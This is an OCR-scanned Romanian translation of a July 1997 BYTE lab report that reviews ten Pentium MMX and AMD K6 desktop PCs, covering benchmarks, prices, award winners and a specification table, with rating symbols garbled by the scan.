Pentium Pro, ci linia stabilizată (şi mai profitabil) de procesoare Pentium. În ciuda avantajului evident pentru apli- caţiile comerciale, Intel a lansat MMX cu 56 BYTE Romania -IULIE 1997 o campanie de piaţă care este orientată decis către consumatori. Un domeniu larg Nu se poate spune că există o lipsă de pro- ducători dispuși de vânzarea de PC-uri MMx. Pentru acest Lab Report am adunat 10 sisteme din partea a opt producători. I-am rugat să furnizeze sisteme desktop dotate cu procesoare pentium MMX la 200 MHz. Am primit de asemenea un sistem Pentium MMX la 233 MHz şi un sistem K6 AMD la 200 MHz. Toate sistemele au avut 32 MB RAM şi au rulat Windows 95. De asemenea, a fost mandator un CD-ROM drive intern 12x, o placă video PCI cu 4 MB de memorie şi un disk hard de 3 GB. Preţurile sistemelor (fără monitor) au variat de la 1750$ la 2949$. Cartelele de sunet, modemurile, drive-urile Zip şi alte echipamente extra, fie n-au fost necesare, fie n-au fost testate explicit. Pentru că au fost configurate similar şi construite în jurul unor UCP-uri identice (cu excepţia sistemului K6), ar putea reieşi fără a avea vreo surpriză că aceste sisteme vor obţine performanţe identice. Fiecare dintre ele se potriveşte perfect în rolul unui PC de birou sau pentru acasă. Prin urmare, pentru a distinge aceste sisteme, am evalu- Întinzând coarda, PC-urile MMX combină o multitudine de performante cu promisiuni. De redactorii Byte at de asemenea caracteristicile şi utilitatea, incluzând calitatea și cantitatea documen- tatiei. Trebuie remarcată absenţa sistemelor din partea a trei producători consacraţi. Hewlett Packard a refuzat să furnizeze un sistem, pretinzând că testele noastre sub- liniază prea pregnant performanţa sis- temului atunci când este vorba de realizarea unei evaluări generale. IBM s-a scuzat pre- tinzând că nu are PC-uri potrivite pentru această categorie de produse. Compaq a afirmat că sistemele sale Pentium MMX nu vor fi gata în timp util. Piața Tehnologia şi performanţa microproce- soarelor şi a subsistemelor inteligente au deschis noi orizonturi pentru sistemele de operare şi aplicaţii. Un cursor animat sau un clip audio inserat într-un document Word poate furniza un moment de relaxa- re, însă ele în cel mai rău caz necesită un Pen- tium la 200 MHz. Deci, cui îi foloseşte MMX? Daca majoritatea aplicatiilor dumnea- voastra implica Windows 95 standard, atunci veti fi dezamagiti cu Pentium MMX. În comparaţie cu Pentium standard rulând la aceeaşi frecvenţă de tact, veţi sesiza doar o mică îmbunătăţire a performanţei - de la 10 la 20 de procente. Această se datorează numai cache-ului L1 de pe cipul Pentium MMx (de la 16KB la 32KB). Va trebui să depuneti un efort considerabil pentru a jus- tifica un sistem MMx nou pentru un câştig atât de mic. În prezent, nici Windows 95 sau altă apli- catie standard de birou nu a fost rescrisă pentru a folosi avantajele instrucţiunilor MMĂX. Chiar dacă aceste aplicaţii ar fi fost redimensionate, procentul din codul lor care ar realiza o îmbunătăţire semnificativă a performanţei este minor. Aplicațiile de ILLUSTRATII: SANDERS/TIKKANEN DESIGN & ILLUSTRATION © 1997 COMPARTIMENT DE UNITATE Veti avea nevoie de un spatiu mare pentru unitatile optionale CD-ROM, banda magnetica si discuri hard. VENTILARE SUPLIMENTARA Sistemele încărcate st încing repede. Ventila toarele auxiliare sunt necesare pentru UCP.-! uri cu răcire pasivă. ACCESUSOR ™ = Accesul nestanjenit la UC și sloturile SIMM ușurează upgrade-urile. SLOTURI DE EXTENSII © Perifericele speciale ne- cesită sloturi. Un sistem bun mută funcțiile comu- ne pe placa de bază, eli- berând mai multe sloturi. llustraţia se bazează pe Gateway 2000 P5-200. birou, în ciuda faptului că sunt încărcate împreună cu aplicaţiile multimedia, rulează bine pe sistemele non Pentium MMX. Primele aplicaţii serioase care folosesc MMxX sunt cele ce utilizează prelucrările grafice complexe, așa cum ar fi Adobe Pho- toshop şi PhotoDeluxe, Power Goo de la Kai şi navigatorul WIRL Virtual Reality Mode- ling Language (VRML) de la Vream. Dacă prelucrările grafice și rendering-ul reprezintă o parte importantă a sarcinii dumneavoas- tră, PC-urile şi aplicaţiile care folosesc MMX pot furniza îmbunătăţiri serioase ale pro- ductivităţii. De asemenea și dezvoltatorii de jocuri 3-D vor aprecia MMX. 4 Problema modernizării Încă nu există un motiv serios pentru a înlocui PC-ul actual cu un sistem Pentium MMĂ. Dacă vreți să cumpăraţi un nou PC sau să faceţi un upgrade pe termen lung, atunci ar fi bine să luaţi în serios MMX. În mod normal diferenţa de preţ între un Pen- tium mai vechi și un MMX este de câteva sute de dolari. Dacă veţi folosi un AMD K6 diferenţa de preţ aproape că va dispare. Chiar dacă aplicaţiile dumneavoastră nu vor putea folosi direct avantajele MMX, veţi be- neficia de un cache mărit şi de o arhitectură îmbunătățită. Intel planifică să-și încorporeze noile instrucțiuni MMX în toate UCP-urile viitoare. Cu toate acestea, microprocesoarele PĂSTREAZĂ SLOTURILE CURATE Un sistem bine construit mută porturile, serial, paralel, tastatura și mouse-ul pe panoul din spate, deasupra sloturilor cartelelor de extensie BACK PANEL clasice Pentium și Pentium Pro - în curând înlocuite cu Pentium II - vor rămâne și în viitor cele mai bine vândute. Datorită unei baze mari de mașini non- MMĂ instalate, este aproape sigur că pen- tru viitorul previzibil toate programele popu- lare vor fi disponibile în versiuni non-MMX. In final, va rămâne la latitudinea dezvolta- torilor de aplicaţii software să decidă dacă MMxX va deveni o nișă sau un curent tehno- logic. Au contribuit Dorothy Hudson, Project Manager/NSTL Robert Hummel, freelance writer/BYTE IULIE 1997 BYTE Romania 57 ricare din cele 10 sisteme desk- top MMX pe care le-am evalu- at ar reprezenta o achiziţie valo- roasă atât pentru lucrul la birou cât şi acasă. Încărcate cu 32 MB de RAM şi cu UC-uri de ultimă tehnologie, aceste sis- teme au obținut performanţe excelente în aplicaţiile Windows curente. De asemenea, UC-urile care oferă MMX, promit o bună rulare a viitoarelor aplicaţii şi sisteme de Altenativa K6 ntel a inventat, inovat și a controlat evo- lutia cipurilor x86 de la 8088 la Pentium Pro. În timp, s-a mai sesizat apariţia unor intruși, însă în general, ceilalți producători de cipuri s-au limitat la a ţine trena Intel. Cu Pentium Pro, optimizat pentru opera- ţii pe 32 de biţi, pe cheltuiala operaţiilor pe 16 biţi, Intel a depășit softul actual pentru SO și pentru aplicaţii. Cât timp Pentium a fost cipul preferat, și-au făcut apariţia o mulțime de oportunități pentru alte cipuri. Pentru a-și distinge produsele, Intel a creat Pentium cu extensia multimedia (MMX). AMD K6-MMX schimbă însă considerabil peisajul PC. Introdus la timpul potrivit cu o putere considerabilă și un preţ competitiv, K6 ar putea reprezenta prima ameninţare serioasă la adresa dominației Intel. Sub capotă Pe 32 de biţi, K6 atinge performanţele exce- lente ale Pentium Pro, fără însă a avea înce- tinirile caracteristice acestuia la rularea apli- cațiilor pe 16 biți. AMD folosește un proces pe cinci nivele de 0.35 microni pentru a pro- duce cipul K6 cu 8.8 milioane de tranzistori. „Acest cip oferă cel mai mare cache L1: un cache de 32-KB de date și un cache de 32- KB pentru instrucțiuni - de două ori mai mare decât cel al Pentium MMĂX. K6 este disponi- bil în prezent la un tact de 166, 200 și 233 MHz, versiunile pentru 266- și 300-MHz fiind așteptate în curând. „ K6 folosește o microarhitectură super- scalară RISC86 cu șase linii de prelucrare paralelă care sunt semnificativ diferite față de cele ale Pentium sau Pentium Pro. Microarhitectura K6 decodifica instructiu- nile x86 în coduri de operaţie RISC86 simple, de lungime fixă. Unele tehnici RISC folosite în K6 includ 58 BYTE Romania IULIE 1997 operare specifice MMX. Pentru majoritatea utilizatorilor, carcase- le modelate și culorile fistichii au prea puţină importanță. Daca achizitionati un sistem Pen- tium la 200 MHz, trebuie să aveţi un singur obiectiv în minte: performanţa. Prin urmare, este explicabil procentajul de 60% pe care l-am oferit performanţei, pentru deter- minarea câştigătorului categoriei Cel mai bun. decodări multiple de instrucțiuni, execuții într-un singur tact de ceas, execuţii out-of- order, transferul datelor, execuţii speculati- ve si redenumiri de regiștri. Suplimentar, K6 implementează o tabelă cu 8192 de intrări unde se ține evidenţa ramificărilor, un cache pentru destinația ramificărilor și o stivă pen- tru adrese de întoarcere, care furnizează o rata a predictiei mai mare de 95%. K6 conti- ne de asemenea șapte unităţi de executie ca- re permit operaţii superscalare într-o con- ductă cu șase stagii. Formă și funcţie Dominația Intel îi permite acestuia să dicteze standardele - trădând orientarea actuală de deplasare către cartelele UCP plug-in. Știind că nu poate pretinde schimbări, compania AMD și-a părăsit propria orientare pentru a-și asigura compatibilitatea cu pachetele existente și standardele de interfață sistem. K6 folosește o grilă de 321 pini dispusă pe o capsulă ceramică compatibilă Socket 7. Producătorii de echipamente originale (OEM) își pot adapta proiectele actuale pen- tru a se potrivi cu K6 fără a fi necesar un cost suplimentar R&D pentru o nouă platformă. K6 însuși este cu mai ieftin decat alte proce- soare din generaţia a șasea, datorită în spe- cial unei dimensiuni compacte. Sistemele K6 actuale nu sunt perfecte. Unii producători au semnalat performanţe video dezamăgitoare. Testele lor au indicat că cip-seturile existente și BIOS-urile, opti- mizate pentru Pentium-ul vechi însă nu și pentru MMX Pentium sau Pentium Il, potsa retina K6 de la atingerea unei performante complete. Fără îndoială, când aceste pro- bleme vor fi eliminate, K6 va reprezenta un competitor potenţial pentru UCP-urile Intel. Desigur, performanţa nu reprezintă to- tul. Pentru a-şi diferenţia sistemele, produ- cătorii au încercat să-şi adauge noi caracte- ristici, cum ar fi porturi USB (Universal Seri- - al Bus) şi compartimente suplimentare pen- tru unități. Problemele din timpul instalării şi a configurării acestor mașini , uşurinţa de acces și modernizările ulterioare reprezintă de asemenea considerente importante. Din punctajul pentru Cel mai bun am alocat 20 % pentru caracteristici şi 10 % pentru utili- tate, care atunci când este combinată cu cele 5 % pentru valoare formează punctajul pen- tru implementare. Ultimele 5% au fost acor- date inovaţiilor pe care la aduce sistemul. Câştigătorul categoriei Cel mai bun a fost Gateway 2000 P5-200. Desi nu s-a clasat pe primul loc în nici unul din benchmark-uri- le de testare, punctajele pe care le-a obţinut s-au situat de fiecare dată aproape de top în fiecare categorie. Aceasta i-a permis ca în final să ocupe locul fruntaș, la o diferență foarte mică de următorul clasat care a fost Poly 5200Tx de la Polywell Computers. Acesta a obţinut cele mai bune rezultate atât în testele Excel cât şi în cele Word. Punctajul obținut de MicroFLEX-MMX/200 de la Micro Express, datorită unei performanţe constante şi a unor funcții ceva mai bune i-a permis obținerea unei poziţii virtual iden- tice cu cea a sistemului Polywell. Singurul sistem K6 pe care l-am testat, Xi K200 MTower de la Xi Computer, a obti- nut un punctaj aproape identic cu cel obti- nut de sistemul Pentium MMX omolog. În testele individuale, sistemul K6 s-a compor- tat mai bine în special în mediile integrate, cum ar fi cele care rulează Word, FoxPro şi sarcini pentru sub-sisteme video. Am luat acest sistem şi i-am înlocuit procesorul K6 cu un Pentium MMĂ; această configuraţie s-a comportat mai bine atunci când s-au rulat teste Excel sau benchmark-uri MMX. Sincer, am fost surprinşi să vedem o vari- ație atât de mare în punctajele pentru bench- mark-ul MMX Intel. Rezultatele nu prezen- tau nici o corelaţie cu sistemul video sau vi- teza procesorului. Unii producători au spe- cificat faptul că multe BIOS-uri şi implemen- tări de cip-seturi au eşuat în executarea unor tehnici de accelerare video, cum ar fi stoca- rea unor cadre VGA, negând parţial avanta- jul instrucţiunilor MMX. Sistemele constru- ite în jurul acestor componente ar putea eşua FOTOGRAFII: LIGHTWORKS PHOTOGRAPHIC O 1997 CEL MAI BUN Gateway 200 P5-200 Într-o cursă foarte strânsă, sistemul Gateway a obţinut în mod constant punctaje bune la toate categoriile, ceea ce l-a ajutat să obţină primul loc în categoria Cel mai bun. Rezultatele bune ob- ţinute de sistemul de la Polywell în performanţă şi utilitate, a de- păşit sistemul Micro Express în ciuda unui punctaj mai bun al acestuia la caracteristici. Ambele sisteme au fost suficient de apro- piate ca să fie premiate împreună pe locul doi, cu doar 3 procente în urma lui P5-200. Locul trei a fost ocupat de Quin-55M/PM233 Tehnologi de la DTK Computer. Performanţă oricărui sistem din cele 10 APRECIERE Caracteristici Valoare testate s-a încadrat într-o variaţie de 6% a mediei generale. PRET Gateway 2000 P5-200 $2124 Polywell Poly 5200Tx $1750 Micro Express MicroFLEX- $2295 MMX/200 DTK Quin-55M/PM233 $2050 Micron Electronics Millennia $2628 MXE P200 Performanta TEHNOLOGIE IMLEMENTARE PERFORMANTA CARCACTERISTICI UTILITATE. ă APRECIERE GENERALĂ AAA AAA Aki AA Aki AAA Aki Ai tok tok tt AAA Ai AAA AAA Aki tot totek toto tok AAA AAA AAA totok AAA AAA AAA AAA Ai kkk tok kkk AAA AAA AAA APRECIERE PREȚ REDUS (CEL MAI BUN) Poly 5200Tx de la Polywell Computers Pretul redus de 1750$ al Poly 5200Tx l-a lansat pe orbita casti- gătoare a sistemului cu preţul cel mai mic. El a fost ajutat de bu- nele rezultate obţinute la performanţă şi utilitate, depășind cu puţin rezultatele obținute de Quin-55M/PM200 de la DTK Computer, care de asemenea reprezintă un chilipir la 1775$. Caracteristici Preţul de 1899$ al K200 MTower de la Xi l-a ajutat pe acesta „să depăşească unele lipsuri în punctajul caracteristicilor $i al utili- tăţii şi să obţină locul trei. Având punctajele generale aproape Performanta Utilitate egale, nu trebuie să mire faptul că aceste sisteme, cu un preţ sub 2000 $, au fost desemnate ca și lideri ai preţului redus. PRET TEHNOLOGIE IMPLEMENTARE PERFORMANTA CARACTERISTICI Polywell Poly 5200Tx $1750 xxx tok tok tk tot bok DTK Quin-55M/PM200 $1775 © AAA Ai AAA kkk XI K200 MTower $1 899 AAA AAA Ai AAA Gateway 2000 P5-200 $2124 AAA AAA tk Kk tooth tok DTK Quin-55M/PM233 $2050 AAA totok AA Ai kak tok tok AAA AA 4 AA Excepţional AAA Foarte bine xxx Bine A Acceptabil x Slab în deservirea completă a potenţialului MMX, chiar și atunci când sunt disponibile noi apli- caţii. Digital Equipment în mod aparent a depăşit această problemă particulară. Al său Celebris FX-2 5200M LP a obţinut cel mai bun punctaj în benchmark-ul MMX, deşi în final s-a clasat doar pe locul şase. Reducerea costurilor Am putea fi tentaţi de performanţele strălu- citoare şi caracteristicile la modă, însă preţul ne readuce la realitate. Competiţia care există între producătorii de PC-uri pentru acapararea pieţei de desfacere este dură. Trei sisteme din această evaluare au ilustrat fap- tul că înalta performanță poate fi obținută şi cu un buget relativ mic. Pentru a alege câștigătorul la categoria cel mai mic preţ, ne-am comutat priorităţile pentru a scoate în evidenţă preţul. Ela deter- minat 50% din punctajul general. Am alo- cat 20% din scorul general pentru caracte- ristici şi alte 20% pentru performanță. Utilitatea a ocupat celelalte 10%. Preţul de 1750$ al Polywell Poly 5200Tx şi locul secund în categoria Cel mai bun, îl fac de departe cea mai bună investiţie. În urma lui - conform unei evaluări statistice foarte strânse - Quin-55M/PM200 de la DTK Computer s-a bucurat de onoarea de a fi catalogat ca fiind al doilea cel mai ieftin din grup. În final, K200 MTower de la Xi, singura mașină K6, şi-a ameliorat scorul redus la caracteristici și utilitate cu un preţ de chilipir. JULIE 1997 BYTE Romania 59 Waţi încălzit? Setea pentru diferit în timp ce unii producători livrează sisteme turn, Digital oferă un PC cu profil | mic care se va potrivi convenabil sub monitorul dvs. Porturile de reţea, video și I/O de pe placa de bază economisesc spaţiu și sloturi. Cu toate acestea, nu e bine să vă ambitio- naţi prea tare înainte ca cele două sloturi de ex- tensie și lipsa de com- partimente pentru uni- tati ale Celebris sa va intepeneasca stilul. TECH FOCUS Atentie: Exagerare de marketing Aţi navigat prin anunţuri, aţi citit reviste și aţi urmărit reclame TV. Însă doar daca ati insistat asupra manualelor tehnice, v-aţi făcut probabil o idee solidă asupra ceea ce înseamnă tehnologia multimedia (MMX) oferită de Intel. A numi MMĂ tehnologie e ca și cum aţi descrie un șurub pentru lemn ca fiind un mecanism de fixare bifurcat elicoidal. MMX este pur și sim- plu un grup de instrucțiuni noi pe care Intel le-a proiectat pentru a „realiza sarcini utile în aplicaţiile multimedia. Intel a numit aceste instrucțiuni tehnologia MMX, deoarece nimeni n-ar fi luat-o în seamă dacă ar fi fost numită „Pentium - Acum cu 57 de instrucţiuni noi”. În ciuda exagerării, instrucțiunile MMX reprezintă o modernizare semnificativă a setului de instrucțiuni x86, prima de la introducerea lui 386. Pe baza analizării unor algoritmi realizaţi în timpul prelu- crărilor de grafică și imagini, a afișării video, sintetizării muzicale și în procesarea vorbirii, instrucțiunile MMX reprezintă cel mai bun rezul- tat pe care Intel I-a putut depune pentru încapsularea unor execuţii multiple în câteva instrucțiuni. MASCARADA DATELOR | Pentru a-și crea spaţiu de lucru, UC-ul MMX folosește pseudonime pentru cluster-ele de registre dedicate operaţiilor în virgulă mobilă. În locul vizualizării acestor registre ca și cum ar conține numere în vir- gulă mobilă, instrucțiunile MMĂX le tratează ca și opt valori întregi pe 8 biți. Când este executată o instrucțiune MMX, ea preia toate cele optvalori din registrele MMX, face si aes in paralel si scrie rezul- tatul in alt registru MMX. 60 BYTE Romania IULIE 1997 N oile cipuri MMX generează mai puţină căldură decât vechile cipuri Pentium, însă ele lucrează încins. Deoarece sistemul de con- vecţie ventilează UC-ul, sunt necesare radia- toare și o cutie închisă pentru a obține un cu- rent de aer adecvat. Un radiator montat pe UC reduce atât curentul de aer necesar, cât și zgo- motul ventilatorului, însă nu răcește cutia. Cipurile favorite eee pentru a fi montat într-un soclu Pen- tium, AMD K6 permite producătorilor o mo- dalitate simplă de-a oferi compatibilitate MMX. K6 permite performanţe excelente pentru softuri pe 16 și 32 de biţi, oferind o platformă superbă pentru bagajul complex de aplicaţii de birou. În plus, dacă achiziționaţi un K6 puteţi economisi câteva sute de dolari din nota de plată a viitorului sistem. CE ESTE MMX? S-ar putea spune că modul de lucru al instructiunilor MMX cu regis- trele în virgulă mobilă ar putea cauza incompatibilitate sau un conflict cu modul normal de utilizare matematică. Din fericire, softul bine scris ia întotdeauna în calcul că altcineva folosește hard-ul în virgulă mobilă și îi păstrează starea înainte de comutarea de la o sarcină la alta. NU ESTE HARDWARE Nu uitaţi că MMX reprezintă totuși o soluţie software. Un coprocesor extern, cum ar fi un accelerator video sau un procesor de semnal digi- tal (DSP) de pe o placă de sunet își poate realiza funcţiile în mod inde- pendent de UC-ul PC-ului, multiplicând întreaga putere a sistemului. În schimb, atunci când UC-ul execută instrucțiuni MMĂ, el nu mai poate face și altceva în același timp. Utilizarea globală a UC-ului va crește pe măsură ce tot mai multe instrucțiuni MMĂ sunt utilizate, până ce eventual performanţa siste- mului se degradează. Singurul câștig potenţial apare când calculele non-MMX bazate pe UC pot fi organizate prin folosirea instrucţiunilor MMX. De asemenea, e bine de amintit că nici un SO actual nu recunoaște sau exploatează UC-urile capabile MMX. Un SO care recunoaște MMX va comuta spre exemplu driver-ele de dispozitiv sau codul nucleu când va detecta un UC MMĂX. Altfel, pentru fiecare aplicaţie producătorul trebuie să realizeze în mod individual transformarea MMX. În acest mod, necesitatea dea crea două seturi de software pentru fiecare pro- dus și o lipsă de unelte MMX larg răspândite vor determina o tranziție MMX lentă. Sc cumpăra un PC desktop cu extensii multimedia (MMX) pentru a rula aplicaţii medii are sens doar dacă sunteţi dornici de o modernizare. Cache-ul mare şi arhi- tectura îmbunătățită oferită de Pentium MMĂ şi posibilele îmbunătăţiri în BIOS-ul şi cip-setul sistemului ar reprezenta destule motive de performanţă pentru a justifica un cost suplimentar față de un Pentium nor- mal. Cu toate acestea, până ce vor sosi noi aplicaţii cu facilități MMX sau până ce instrucţiunile MMX vor fi încorporate în Windows, noul sistem nu-şi va atinge ade- văratul potenţial. Pentru a testa performanţa am folosit o suită de benchmark-uri individuale. Trei sunt bazate pe aplicaţii rulând sarcini sub Microsoft Word, Excel şi FoxPro. Testul InterMark proprietar NSTLa măsurat per- formanţa sistemului. În final am folosit benchmark-ul MMX al Intel. Am rulat toate testele sub Windows 95. “Testul Word a realizat mai multe opera- tii care au simulat o prelucrare intensivă a textelor. Testul I/O pentru fişiere a solici- tat discul hard al sistemului. Insert, Paste, Select şi Format au testat capacitatea video. Testele Calculation, Compare şi Sort au măsurat în primul rând eficiența proce- sorului şi a memoriei. Testul Excel a solicitat calcularea în vir- gulă mobilă şi administrare. Testele Clear, Insert, Delete, Paste şi Screen solicită sub- sistemul video al sistemului. Testul Calcu- lation măsoară eficienţa procesorului şi a discului hard, în timp ce testul I/O pentru fişiere solicită discul hard al sistemului. Benchmark-ul pentru FoxPro 2.6 for Windows foloseşte cinci tabele de baze de date: conexiuni, cărți, autori, comenzi și intrări. Testul rulează Extended Edition FoxPro care foloseşte pentru cache memo- ria extinsă disponibilă a sistemului. Bench- mark-ul FoxPro solicită procesarea, discul hard şi memoria. Benchmark-ul InterMark al NSTL face un profil al aplicaţiei prin capturarea apelurile și acţiunilor sistem. Apoi Inter- Mark reinterpretează aceste acțiuni pentru a testa componentele sistemului fără a fi nevoie de aplicaţii terţe. Un timer precis de evenimente măsoară timpul de răspuns pentru fiecare task. NSTL a folosit com- ponentele video, disc hard, UC şi CD-ROM din setul InterMark pentru a testa aceste PC-uri MMĂX. Am împărţit testele video în trei cate- gorii: imagini Windows draw, imagini bitmap şi non-bitmap. Testele de Windows draw utilizează apelurile Windows API pen- tru a desena imagini care includ text, o poză în format WMEF, linii orizontale şi verticale, pătrate şi elipse. Imaginile sunt apoi-mărite deunu, unu jumate și două ori dimensiunea iniţială. Testele de disc măsoară viteza de citire şi La un pret de 1750$, Poly 5200Tx de la Polywell Computers editare fotografie cu Adobe PhotoDeluxe, redare video clip Intel Indeo, redarea unui fişier codificat MPEG-1, un joc care uti- lizeaza Direct-3D si prelucrare profesiona- 14 de fotografie cu Adobe PhotShop. Aces- tea sunt sarcinile obișnuite pentru care a fost proiectat MMX. Am evaluat de asemenea sistemul pentru ușurința utilizării. Listă noastră a inclus un număr larg de probleme, de la cât de ușor oferă investiţia cea mai rentabilă. scriere. Ele simulează activități secvențiale, secvențiale la debit constant, aleatoare, aleatoare - localizate și segmentate cu blocuri de dimensiuni diferite. Rezultatul este o măsură a timpului mediu de răspuns, debitului de transfer, transferului în rafale, timpului de acces aleator şi a utilizării UC pentru disc. Testele UC măsoară performanţele pro- cesorului atât pentru calcule cu întregi cât şi pentru calcule în virgulă flotantă. Aceste teste oferă un indice al puterii de calcul a procesorului. Testele CD-ROM exami- nează diferite aspecte ale performanţei unității CD-ROM: timpul activităţii aleatoare la 500 și 1000 ms, timpul la lucrul cu cache la 13.3 ms şi folosirea UC la 550 KBps. Pentru a măsura performanța MMX, NSTL utilizează o procedură automată de test furnizată de Intel care supune sistemul unei mulțimi de solicitări multimedia: este să deschizi o cutie, până la posibilitățile de salvare în CMOS sau pe disc a configu- rației. Am remarcat cu plăcere porturile indicate pe panoul din spate, soclurile cu ZIF (Zero Insertion Force) pentru UC şi o documentaţie sănătoasă și clară. [din BYTE, o publicaţie McGraw-Hill, Inc. Adaptare - Daniel Moldovan] Evaluările din acest raport prezintă aprecieri ale redactorilor BYTE, bazate pe testele dirijate de NISL, Inc., prezentate intr-un numar recent al publicaţiei PC Digest. Pentru un exemplar al raportului complet, contactaţi NISL la 625 Ridge Pike, Conshohochen, PA 19428; (610) 941-9600; pe internet, editors@ntsl.com, pen- tru abonament, contactaţi Compute Pess Agora. s.r.l. Tg.Mureş. BYTE Magazine şi NISL repre- zintă unităţi funcționale ale The McGraw-Hill Companies. IULIE 1997 BYTE România 61 Greene DESKTOP MMX CARACTERISTICI Dell Computer Corp. Digital Equipment Corp. “DTK Computer, Inc. DTK Computer. Inc. Dimension XPS M200x MMX Celebris FX-2 5200MLP Quin-55M/PM200 Quin-55M/PM233 Pretul configuratiei testate $2949 $2517 $1775 $2050 Evaluarea generală Aki AAA Aki kkkhk MICROPROCESOR Producator si model Intel Pentium MMX 200 Intel Pentium MMX 200 Intel Pentium MMX 200 Intel Pentium MMX 233 Producător BIOS și model AMIAO5 Phoenix 4.05.12 AMI 451 PG AMI 451 PG ISA PNPflash BIOS Vv Vv Vv Vv Conform DMI v Vv V Program de configurare pe Disk ROM ROM ROM Oglindire BIOS ROM, video ROM, video ROM, video ROM, video RAM pentru oglindire (KB) 256 1024 384 384 MEMORIE RAM max. pe placa de bază (MB) 64 256 384 384 Tip RAM SDRAM SDRAM EDO EDO Arhitectura memoriei Paged, fast-paged Cached, paged Fast-paged Fast-paged Viteza memoriei 66 10 60 60 ECC RAM pe placa de bază ov “4 Instalat atât EDO cât și cache L2 V Vv V Cache RAM ext./max. cache RAM ext. instalat 512/512 512/512 512/512 512/5192 Mapare cache RAM ext. mapare directă mapare directă mapare directă mapare directă Arhitectură cache RAM ext. Write-back Write-back Write-back Write-back Tip de executate RAM ext. Pipeline/SyncBurst Pipeline/SyncBurst Pipeline/SyncBurst Pipeline/SyncBurst Viteză cache RAM ext. 12 12 8 8 DISPOZITIVE DE STOCARE Producător și model hard drive IBM DCAA-34330 Quantum Stratus ST2100 Western Digital AC33100 Western Digital AC33100 Tip interfață hard drive Extins IDE Extins IDE Extins IDE Extins IDE Capacitate hard drive (GB) 4.3 2.1 3.1 3.1 Timp de acces hard drive (ms) 9.5 15.56 12 12 COMPARTIMENT DE UNITATE Compartimente de 5 inci (totale/expuse) 2/2 2/1 4/4 4/4 Compartimente de 3 inci (totale/expuse) 5/3 2/0 4/1 4/1 Producător CD-ROM, model și viteză Mitsumi TX 12T 12x Mitsumi FX1600 16x Sony CDU-511 16x Toshiba XM-5702B 12x VIDEO Video pe placa de bază v Producător accelerator video/model (toate PCI) Matrox Millennium S3 Virge/GX S3 Virge VX86C988 S3 Virge VX86C988 Memorie video în configuraţia testată/maximum 4/4 4/4 4/4 4/4 Tipul de memorie video WRAM SGRAM VRAM VRAM Rezolutia max. fara upgrade 1280x1024 1280x1024 1280 x 1024 1280x1024 64K culorila 1024 V V V Adaptor video PNP V Vv [4 Vv Comutare rezolutie v V V V SLOTURI DE EXTENSIE Arhitectură sistem ISA PCI ISA ISA Arhitectură bus local PCI PCI PCI PCI Sloturi cu procesor V V V V Sloturi pe 16 biti ocupate/vacante 0/0 0/2 2/1 2/1 Sloturi cu procesor ocupate/vacante 1/2 0/2 1/2 1/2 Sloturi partajate 1 1 1 1 I/O Număr total de porturi seriale 1 1 2 2 Tipul poitului paralel Extins Selectabil Selectabil Selectabil Porturi SCSI-2 disponibile N/A N/A N/A N/A Porturi EIDE disponibile 0 2 2 2 Compatibilitate PC card V V DIVERSE Tip carcasă Mini-tower Low-profile Mid-tower Mid-tower Tensiune de alimentare 200 100 250 250 SUPORT TEHNIC Adresă Web http://www.dell.com http://www.windows.digital.com http://www.dtkcomputer.com _http://www.dtkcomputer.com ae = BYTE Best ~ =da; tet tok & Exceptional AAA Foarte Bine x Bine N/A=nu se aplică. AA Acceptebil A Slab 62 BYTE Romania IULIE 1997 Gateway 2000 Micro Micron Electronics Polywell XI Computer Corp. XI Computer Corp. P5-200 MicroFLEX-MMX/200 Millennia MXE P200 Poly 5200Tx XiK200 MTower XiMX200 MTower $2124 $2295 $2628 $1750 $1899 $2099 kk Ark totottok Ai tot tok kk Intel Pentium MMX 200 Intel Pentium MMX 200 Intel Pentium MMX 200 Intel Pentium MMX 200 AMD K6-MMX 200 Intel Pentium MMX 200 AMI4 Award A04 Phoenix 4.05 Award 4.5G Award 4.51G Award 4.51G ¥v V + v V V v v Vv V Disk, ROM ROM ROM ROM ROM ROM ROM ROM, video ROM, video ROM, video ROM, video ROM, video N/A 128 640 128 384 384 128 256 32 128 256 256 SDRAM EDO EDO EDO EDO EDO Fast-paged - Fast-paged Fast-paged Fast-paged Fast-paged Fast-paged 8 60 60 60 10 10 Fast-paged v V Vv v Vv V 512/512 512/512 512/512 512/512 512/512 512/512 Set asociativ în două direcţii mapare directă Set asociativ în patru direcţii mapare directa mapare directă mapare directă Write-back Write-back Write-back Selectabil Write-back Write-back Pipeline/SyncBurst Pipeline/SyncBurst Pipeline/SyncBurst Pipeline/SyncBurst Pipeline/SyncBurst Pipeline/SyncBurst 12 20 15 8 7 7 Maxtor Diamond Max Maxtor 85120A Western DigitalAC33100 Maxtor 85120A Maxtor 85120A8 Maxtor 85120A8 Extins IDE Extins IDE Extins IDE Extins IDE Extins IDE Extins IDE 5.1 5.1 3.1 51 4.8 4.8 11 10 10.5 9 9 9 2/1 2/2 2/2 2/2 4/4 4/4 4/1 4/1 5/3 1/1 4/2 4/2 Toshiba XM-6002B 16x Toshiba XM-5702B 12x Hitachi CDR-8130 16x Panasonic 584 12x Hitachi CDR-8130 16x Hitachi CDR-8130 16x v V S3 Virge/GX $3 Virge $3 Virge S3Virge 3D $3 Virge/VX $3 Virge/VX 4/8 4/8 4/4 4/4 8/8 8/8 DRAM VRAM DRAM DRAM VRAM VRAM 1280 x 1024 1280x1024 1280x1024 1280 x 1024 1280x1024 1280 x 1024 v Vv V v V Vv V V V v V v v V V v o V PCI ISA ISA ISA ISA ISA PCI PCI PCI PCI PCI PCI v Vv v Vv V 1/1 1/2 0/4 1/2 2/1 2/1 2/1 1/3 1/3 1/4 1/4 . 1/4 1 1 1 1 1 1 1 2 2 2 2 2 Extins Extins Selectabil Selectabil Selectabil Selectabil N/A N/A N/A N/A N/A N/A" 2 1 0 2 2 2 V v Vv V Mini-tower Mid-tower Mini-tower Mid-tower Mid-tower Mid-tower 145 230 235 230 250 250 http://www.gw2k.com http://www.microexpress.net http://www.micronpc.web _ittp:/Awww.polywell.com —_http://www.xicomputer.com http://www.xicomputer.com JULIE 1997 BYTE Romania 63 64 BYTE Romania Aplicatii Web disponibile iferenta dintre serverele Web simple si serverele de aplicatii Web este ca si diferenta dintre două tipuri de magazine: unul în care consumatorii nu pot face altceva decât să se plimbe prin magazin și să se uite în catalog şi unul în care pot găsi și cumpăra, în câteva minute, produsul pe care-l doresc. O simplă publicare statică pe Web este folositoare, însă furnizarea de servicii pentru aplicaţii şi acces la bazele de date existente este mult mai tentantă. Oricum, distribuirea de conţinut dina- mic şi de aplicaţii poate suprasolicita pro- tocoalele și 